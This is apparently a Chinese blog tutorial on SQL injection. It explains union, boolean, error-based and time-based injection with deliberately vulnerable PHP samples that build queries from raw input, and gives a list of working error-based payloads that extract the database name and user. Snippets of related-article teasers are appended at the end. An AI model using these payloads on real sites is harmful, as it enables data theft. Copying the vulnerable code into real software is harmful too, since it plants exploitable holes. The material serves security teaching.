SQL注入

2021-09-10 13:42:01 字數 4082 閱讀 1604

sql注入是指web應用程式對使用者輸入資料的合法性沒有判斷,前端傳入後端的引數是攻擊者可控的,並且引數帶入資料庫查詢,攻擊者可以通過構造不同的sql語句來實現對資料庫的任意操作。一般情況下,開發人員可以使用動態sql語句建立通用、靈活的應用。動態sql語句是在執行過程中構造的,它根據不同的條件產生不同的sql語句。當開發人員在執行過程中需要根據不同的查詢標準決定提取什麼字段(如select語句),或者根據不同的條件懸著不同的查詢表時,動態地構造sql語句會非常有用。

下面以php語句為例

$query

="select * from users where id = $_get

['id']"

;

由於這裡的引數id可控,且帶入資料庫查詢,所以非法使用者可以任意拼接sql語句進行攻擊。

sql注入分為很多種,如盲注,報錯注入,union注入等。

不知道任何條件下:

select 要查詢的欄位名 from 庫名.表名
知道一定條件:

select 要查詢的欄位名 from 庫名.表名 where 已知條件的欄位名='已知條件的值'
在知道兩條已知條件時,語句如下:

select 要查詢的欄位名 from 庫名.表名 where 已知條件1的欄位名='已知條件1的值' and 已知條件2的欄位名='已知條件2的值'
index.php?id=5 /*!union*/ /*select*/ 1,2,3
產生條件

select * from users where id = 1'
不符合資料庫的語法規範,所以報錯,當傳入id = 1 and 1=1時,執行的sql語句如下

select * from users where id = 1 and 1 = 1
因為1=1為真,所以返回與id=1相同的結果。當傳入and 1 = 2 時,由於1=2不成立,所以返回結果與id=1時不同。據此可以初步判斷id存在sql注入漏洞。

所用**參考《web安全攻防–滲透測試實戰指南》一書

<?php

$con

=mysqli_connect

("localhost"

,"root"

,"123456"

,"test");

if(mysqli_connect_errno()

)$id

=$_get

['id'];

$result

=mysqli_query

($con

,"select * from users where 'id'="

.$id);

$row

=mysqli_fetch_array

($result);

echo

$row

['username'].

":".

$row

['address'];

echo""

;?>

當訪問id=1 union select 1,2,3時,執行的sql語句為:

select * from users where id=1 union select 1,2,3
可通過第二條語句獲取資料庫中的資料。

<?php

$con

=mysqli_connect

("localhost"

,"root"

,"123456"

,"test");

if(mysqli_connect_errno()

)$id

=$_get

['id'];

if(preg_match

("/union|sleep|benchmark/i"

,$id))

$result

=mysqli_query

($con

,"select * from users where 'id' = '"

.$id

."'");

$row

=mysqli_fetch_array

($result);

if($row

)else

?>

當訪問id=1』 or 1=1# 時,資料庫執行的語句為

select * from users where 'id' = '1' or 1=1#
由於 or 1=1 是永真條件,所以此時返回yes。將1=1換為1=2時 返回no。

' and updatemxl(1,concat(0x7e,(select database()),0x7e),1)#

' and exp(~(select * from(select flag from flag limit 0,1)a))#

' and multilinestring((select * from(select * from(select database())a)b))#

' and linestring((select * from(select * from(select user())a)b));

' and multipolygon((select * from(select * from(select user())a)b));

' and polygon((select * from(select * from(select user())a)b));

' and multipoint((select * from(select * from(select user())a)b));

' and geometrycollection((select * from(select * from(select user())a)b));

' and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

<?php

$con

=mysqli_connect

("localhost"

,"root"

,"123456"

,"test");

if(mysqli_connect_errno()

)$username

=$_get

['username'];

if($result

=mysqli_query

($con

,"select * from users where 'username'='"

.$username

."'"))

;else

?>

輸入username=1』時  因為多了乙個單引號而報錯。利用這種報錯回顯,我們可以通過floor()、updatexml()等函式將要查詢的內容輸出到頁面上。

if(length(database())>1,sleep(5),1)
這句話的意思是,如果資料庫庫名的長度大於1,則mysql休眠5秒,否則查詢1。

<?php

$con

=mysqli_connect

("localhost"

,"root"

,"123456"

,"test");

if(mysqli_connect_errno()

)$id

=$_get

['id'];

if(pre_match

("/union/i"

,$id))

{exit

("no<

/body>

<

/html>

SQL注入(三) sql注入 bugku

原理 mysql 在使用 gbk 編碼的時候,會認為兩個字元為乙個漢字,例如 aa 5c 就是乙個 漢字 前乙個 ascii碼大於 128 才能到漢字的範圍 我們在過濾 的時候,往往利用的思 路是將 轉換為 換的函式或者思路會在每一關遇到的時候介紹 因此我們在此想辦法將 前面新增的 除掉,一般有兩種...

SQL注入 報錯注入

乙個帶get引數的 並且不從資料庫返回資料,但存在報錯資訊 檢視字段情況 報錯注入語句格式 and 1 2 union select1,2,3 from select count concat floor rand 0 2 sql語句 a from information schema.tables...

SQL注入 報錯注入

sql注入基礎 盲注 用於注入結果無回顯但錯誤資訊有輸出的情況 floor函式 返回小於等於某值的整數,例如floor 1 則返回1,floor 1.9 也返回1 rand函式 生成隨機數.可指定seed,指定後每次生成的數都一樣即偽隨機,不指定seed則每次生成的隨機數都不一樣.通過floor和r...